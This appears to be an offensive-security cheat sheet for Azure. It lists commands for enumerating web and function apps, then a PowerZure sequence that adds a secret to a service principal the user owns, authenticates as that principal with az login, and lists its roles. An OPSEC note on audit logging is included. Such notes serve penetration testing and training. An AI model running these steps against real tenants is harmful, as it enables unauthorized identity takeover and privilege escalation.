18 lines
1.1 KiB
Markdown
18 lines
1.1 KiB
Markdown
- General
|
||
- `Get-AzWebApp` `Get-AzWebApp | Select EnabledHostNames`
|
||
- Gather information on web applications
|
||
- Also extracted with `Get-AzDomainInfo` in MicroBurst - \\Resources\\AppServices.csv
|
||
- Function Apps
|
||
- Check to see if source code/config files are available
|
||
- Service Principal exploitation
|
||
- PowerZure
|
||
- `Get-AzureAppOwner`
|
||
- Determine if current user is assigned as the owner of a service principal
|
||
- `Add-AzureSPSecret -ApplicationName customapp -Password myPassword456`
|
||
- Can now authenticate as this service principal with this password and explore its permissions
|
||
- Note Tenant/App ID in output
|
||
- OPSEC NOTE: Azure AD audit logs will record these events with the activity type of "Update application – Certificates and secrets management".
|
||
- `az login --service-principal --username APP_ID --password myPassword456 --tenant TENANT_ID`
|
||
- Authenticate using Azure CLI as service principal
|
||
- `az role assignment list --assignee APP_ID --include-groups --include-inherited --query '[].{username:principalName, role:roleDefinitionName, usertype:principalType, scope:scope}'`
|
||
- Determine role assignment of service principal |